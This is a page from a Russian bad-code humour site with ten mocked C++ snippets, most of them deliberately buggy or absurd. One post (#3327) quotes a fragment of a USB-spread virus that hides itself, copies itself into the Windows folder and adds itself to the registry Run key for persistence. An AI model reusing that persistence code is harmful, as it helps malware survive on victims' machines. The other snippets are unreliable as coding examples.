1. C++ / Говнокод #3383

    +1005

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    void bvnr(char *text)
    {
    for(int f=0; f<=strlen(text); f++)
    {
    switch(text[f])
    {
    case 'Q' : text[f] = 'q' ; break;
    case 'W' : text[f] = 'w' ; break;
    case 'E' : text[f] = 'e' ; break;
    case 'R' : text[f] = 'r' ; break;
    case 'T' : text[f] = 't' ; break;
    case 'Y' : text[f] = 'y' ; break;
    case 'U' : text[f] = 'u' ; break;
    case 'I' : text[f] = 'i' ; break;
    case 'O' : text[f] = 'o' ; break;
    case 'P' : text[f] = 'p' ; break;
    case 'A' : text[f] = 'a' ; break;
    case 'S' : text[f] = 's' ; break;
    case 'D' : text[f] = 'd' ; break;
    case 'F' : text[f] = 'f' ; break;
    case 'G' : text[f] = 'g' ; break;
    case 'H' : text[f] = 'h' ; break;
    case 'J' : text[f] = 'j' ; break;
    case 'K' : text[f] = 'k' ; break;
    case 'L' : text[f] = 'l' ; break;
    case 'Z' : text[f] = 'z' ; break;
    case 'X' : text[f] = 'x' ; break;
    case 'C' : text[f] = 'c' ; break;
    case 'V' : text[f] = 'v' ; break;
    case 'B' : text[f] = 'b' ; break;
    case 'N' : text[f] = 'n' ; break;
    case 'M' : text[f] = 'm' ; break;
    )
    }
    }

    Перевод текста в нижний регистр. Можно пугать детей на ночь))

    hromjo, 03 Июня 2010

    Комментарии (144)
  2. C++ / Говнокод #3357

    +998

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    #define TRACE_VAR	ATraceClass *mTrace
    #define TRACE_VAR_INIT	mTrace = ATraceClass::getInstance()
    
    class ATraceClass {
    public:
    	void log(int severity, const char *format, ...);
    	/* ... */
    }
    
    class ATraceUser {
    public:
    	ATraceUser::ATraceUser() {
    		TRACE_VAR_INIT;
    	}
            int SomeMethod1();
    	/* ... */
    	TRACE_VAR;
    }
    
    int ATraceUser::SomeMethod1()
    {
      /* ... */
      if (errorCondition)
      {
        return mTrace->log( ERR, "Something went terribly"\
                            "wrong when doing the operation %s\n",\
                            mOperation),-1;
      }
      /* ... */
    }

    в догонку к #3355 - это уже как бы пример стиля использования логгера егоным же автором.

    пришел ко мне как-то народ, показал нечто что я тут иллюстрирую в SomeMethod1() и спросил:
    (1) а на кой эти слеши? может нам и весь остальной код нужно ими разукрасить??
    (2) а как это void можно из int функции возвращать? и как это вообще работает? вроде в С/С++ такое нельзя....

    у меня до сих пор в голове не укладывается каким .... надо быть что бы такой код писать.

    Dummy00001, 31 Мая 2010

    Комментарии (28)
  3. C++ / Говнокод #3355

    +1003

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    // укорочено для краткости.
    void ATraceClass::LogFunction(const char *format, va_list ap)
    {
      /* ... declarations ... */
    
      for (p=format; (*p)&&(!isTruncated); p++)
      {
        if ( * p == '%' )
          switch( * ++p )
          {
            case 'c':
            { /* ... */ }
            break;
    
            case 'd':
            case 'i':
            { /* ... */ }
            break;
    
            case 'l':   // это %ld
            { /* ... */ }
            break;
    
            case 'L':    // это %Ld
            { /* ... */ }
            break;
      
            case 'f':   // a это %g
            { /* ... */ }
            break;
    
            case 'F':  // a это %Lg
            { /* ... */ }
            break;
    
            case 's': 
            { /* ... */ }
            break;
    
            default: // this is an ERROR case, but we will not perform coding at this point ... maybe later
              break;
          }
          else {
            /* ... */
          }
      }
    }

    наболело. одно чудило (с большой букмы Му) наговнокодило это дело под эгидой "stdio это С, мы в С++ можем круче!!!" ну с тех пор и переизобретают велосипед - с квадратными колёсами. даже %% не догадались сделать.

    уже как года два давлю вот это Г, но наши немецкие умельцы копи-пастят это в новые модуля быстрее чем я успеваю это удалять.

    самое гадкое что народ пишет код как обычно ожидая стандартные stdio шорткаты, и потом долго гадает куда блин сообщение подевалось.

    Dummy00001, 31 Мая 2010

    Комментарии (5)
  4. C++ / Говнокод #3350

    +1001

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    struct Node{
        char* d;
        Node *left;
        Node *right;
    };
    
    Node* search_insert(Node *root, char* d){
         /*.........*/
        Node *pnew = new Node;
        pnew->d = d
         /*.........*/
    }
    int main(){
        /*.........*/
        Node *root=NULL;
        char* r=new char;
        for (int i = 0; i<10; i++){
                scanf("%s", r);
                root=search_insert(root, b[i]);
        }
         /*.........*/
    }

    Вот такой тупой недочет стоил мне туевой хучи времени. Не единожды стирал все и писал заново. Просветление пришло на третий день.
    Указатель.... поле в структуре - указатель... указатель в который я раз за разом лезу в цикле...

    kir_rik, 30 Мая 2010

    Комментарии (26)
  5. C++ / Говнокод #3346

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    #define a w[p]++;              // a +  add
    #define s w[p]--;              // s -  subtract
    #define m p++;                 // m >  more
    #define l p--;                 // l <  less
    #define b while(w[p]) {        // b [  begin
    #define e }                    // e ]  end
    #define o putchar(w[p]);       // o .  out
    #define i w[p]=getchar();      // i ,  in
    
    void main()
    {
      int w[1024];
      int p = 0;
      int _ = 1024;
      while (_--) w[_] = 0;
    
      m a a a a b l a a a a a a a a a a a a a a a a m s e l a a a a a a a a o m a a
      b l a a a a a a a a a a a a a a a a m s e l s s s o a a a a a a a o o a a a o
      m a a a a a b l s s s s s s s s s s s s s s s s m s e l a o m a a a b l a a a
      a a a a a a a a a a a a a m s e l a a a a a a a o a a a a a a a a a a a a a a
      a a a a a a a a a a o a a a o s s s s s s o s s s s s s s s o i
    }

    Fuck my brain...
    По мотивам http://daniel.lorch.cc/projects/brainfuck/php-brainfuck-1.01/doc.html

    Stalker, 29 Мая 2010

    Комментарии (76)
  6. C++ / Говнокод #3345

    +144

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    // ------------------------------------------------
    
    #include <stdio.h>
    
    // ------------------------------------------------
    
    #define USES         /##/
    #define PROCEDURE    void
    #define MAIN         main
    #define VAR          /##/
    #define INTEGER      32
    #define BEGIN        {
    #define END          }
    
    #define FOR          for ( int
    #define TO           ; X <
    #define DO           ; X++)
    #define WRITELN(a,b) printf("%d%c",a,b)
    
    #define IF           if ((
    #define THEN         /5*X) == 5)
    #define ELSE         else
    
    // ------------------------------------------------
    
    USES CRT;
    
    PROCEDURE MAIN()
    VAR X : INTEGER
    BEGIN
         FOR X = 1 TO 10 DO
         BEGIN
              IF X = 5 THEN
                   WRITELN(-X,' ');
              ELSE
                   WRITELN(X,' ');
         END;
    END;
    
    // ------------------------------------------------

    Ностальгия по паскалю...

    k06a, 28 Мая 2010

    Комментарии (32)
  7. C++ / Говнокод #3342

    +170

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    struct Obect: public AbsractPrimitiv
    {
    	float X,Y; 
    	Obect(float x, float y)
    	{
    		X=x;
    		Y=x;
    	};
    	
    	Obect(void)
    	{
    		new(this) Obect(0,0);
    	};
    
    	//...
    	//...
    	//...
    
    private://Требование конвенции. Блок private обязан быть в каждом классе.
    };

    Не вру. Вот вам крест! Написано именно так.

    Говногость, 28 Мая 2010

    Комментарии (170)
  8. C++ / Говнокод #3327

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    Application->ShowMainForm=false; //прячимся
    
    // Осваеваемся в новой системе
    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
    //скопируемся
    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
    //и пропишимся в автозагрузку:
    TRegistry *reg=new TRegistry;
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
    reg->CloseKey();
    reg->Free();
    }

    ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html

    This is obvious, 26 Мая 2010

    Комментарии (40)
  9. C++ / Говнокод #3326

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    // Для получения имени компьютера напишите следующий код:
    unsigned long Size = MAX_COMPUTERNAME_LENGTH + 1;
    char *Buffer = new char[Size];
    GetComputerName(Buffer, &Size);
    // после выполнения данного кода имя компьютера будет
    // содержаться в Buffer. После того, как Buffer перестанет быть
    // вам нужным, не забудьте вызвать delete [] Buffer.
    
    /*-------------------*/
    
    //Изменение имени компьютера
    
    // для изменения имени компьютера воспользуйтесь функцией
    // SetComputerName
    SetComputerName("НОВОЕ_ИМЯ_КОМПЬЮТЕРА");
    // не забудьте перезагрузить машину

    Имя компьютера - получение и изминение в C++ Builder
    (c) webkill http://webkill.ru/content/?id=508

    This is obvious, 26 Мая 2010

    Комментарии (41)
  10. C++ / Говнокод #3325

    +160

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    bool S()
        {
            if(VD){std::cout<<"S";}
            bool b;
            if(D()==true) {b= true;}
            else {b=false;};
            return b;
        }
    
            bool D()
        {
            if(VD){std::cout<<" => D";}
            bool b=true;
            bool b1=DC();
            bool b2=DV();
            bool b3=DP();
            b=b1&b2&b3;
            return b;
        }
            bool DC()
        {
            if(VD){std::cout<<" => DC";}
            bool b=(M[i] == "CONST");
            i++;
            if (b && (COK()) && (M[i] == ";")) {b=true;}
            else {b=false;
            };
            i++;
            return b;
        }

    Код из лабораторной работы студента 3-го курса Севастопольского национального технического университета, факультет Автоматики и вычислительной техники. Данный код является фрагментом синтаксического анализатора (методом рекурсивного спуска).

    Serega_M31, 26 Мая 2010

    Комментарии (9)